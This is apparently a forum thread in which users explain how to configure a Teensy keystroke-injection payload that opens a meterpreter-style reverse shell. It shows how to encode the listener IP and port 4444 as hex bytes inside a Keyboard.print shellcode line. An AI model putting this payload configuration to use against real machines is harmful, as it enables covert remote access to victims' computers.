teensypreter payload help about pateensy

[B3H1NDu]

The [0x@@,0x@@,0x@@,0x@@] should be replaced by your IP in hex so,
Keyboard.print("[0x@@,0x@@,0x@@,0x@@],0x68,0x02,0x00,[0x@@,0x@@],0"); would become
Keyboard.print("0xC0,0xA8,0x01,0x01,0x68,0x02,0x00,[0x@@,0x@@],0");, if you had an IP address of 192.168.1.1.
I would use a converter like http://www.rapidtables.com/convert/number/decimal-to-hex.htm or http://ncalculators.com/digital-computation/ip-address-hex-decimal-binary.htm.
In both cases you would need to change your data to one byte to fit into the format. The commenting contains an explanation an example for the port, so I won't go into it.
Remember to remove the brackets.

[mrvirginis]

So the hex of port 4444 would be [0x11,0x5C] correct?

[B3H1NDu]

It's been a while since I've played with this stuff, but yes that should be correct.